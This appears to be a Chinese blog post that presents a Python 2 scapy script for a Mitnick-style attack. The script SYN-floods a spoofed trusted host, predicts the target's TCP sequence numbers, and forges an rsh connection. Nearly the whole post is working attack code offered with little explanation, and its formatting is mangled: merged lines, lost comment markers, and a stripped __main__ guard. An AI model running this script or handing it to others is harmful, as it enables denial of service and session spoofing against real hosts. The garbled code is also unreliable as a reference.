syn 攻击脚本 python_python 模拟syn攻击

!/usr/bin/python

coding=utf-8

import optparse

from scapy.all import *

def synFlood(src, tgt):

# TCP源端口不断自增一,而目标端口513不变

for sport in range(1024, 65535):

IPlayer = IP(src=src, dst=tgt)

TCPlayer = TCP(sport=sport, dport=513)

pkt = IPlayer / TCPlayer

send(pkt)

def calTSN(tgt):

seqNum = 0

preNum = 0

diffSeq = 0

# 重复4次操作

for x in range(1,5):

# 若不是第一次发送SYN包,则设置前一个序列号值为上一次SYN/ACK包的序列号值

# 逻辑出现问题

# if preNum != 0:

if seqNum != 0:

preNum = seqNum

# 构造并发送TCP SYN包

pkt = IP(dst=tgt) / TCP()

ans = sr1(pkt, verbose=0)

# 读取SYN/ACK包的TCP序列号

seqNum = ans.getlayer(TCP).seq

if preNum != 0:

diffSeq = seqNum - preNum

print "[*] preNum: %d seqNum: %d" % (preNum, seqNum)

print "[+] TCP Seq Difference: " + str(diffSeq)

print

return seqNum + diffSeq

伪造TCP连接

def spoofConn(src, tgt, ack):

# 发送TCP SYN包

IPlayer = IP(src=src, dst=tgt)

TCPlayer = TCP(sport=513, dport=514)

synPkt = IPlayer / TCPlayer

send(synPkt)# 发送TCP ACK包

IPlayer = IP(src=src, dst=tgt)

TCPlayer = TCP(sport=513, dport=514, ack=ack)

ackPkt = IPlayer / TCPlayer

send(ackPkt)

def main():

parser = optparse.OptionParser('[*]Usage: python mitnickAttack.py -s -S -t ')

parser.add_option('-s', dest='synSpoof', type='string', help='specifc src for SYN Flood')

parser.add_option('-S', dest='srcSpoof', type='string', help='specify src for spoofed connection')

parser.add_option('-t', dest='tgt', type='string', help='specify target address')

(options, args) = parser.parse_args()

if options.synSpoof == None or options.srcSpoof == None or options.tgt == None:

print parser.usage

exit(0)

else:

synSpoof = options.synSpoof

srcSpoof = options.srcSpoof

tgt = options.tgtprint '[+] Starting SYN Flood to suppress remote server.'

synFlood(synSpoof, srcSpoof)

print '[+] Calculating correct TCP Sequence Number.'

seqNum = calTSN(tgt) + 1

print '[+] Spoofing Connection.'

spoofConn(srcSpoof, tgt, seqNum)

print '[+] Done.'

if name == 'main':

main()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值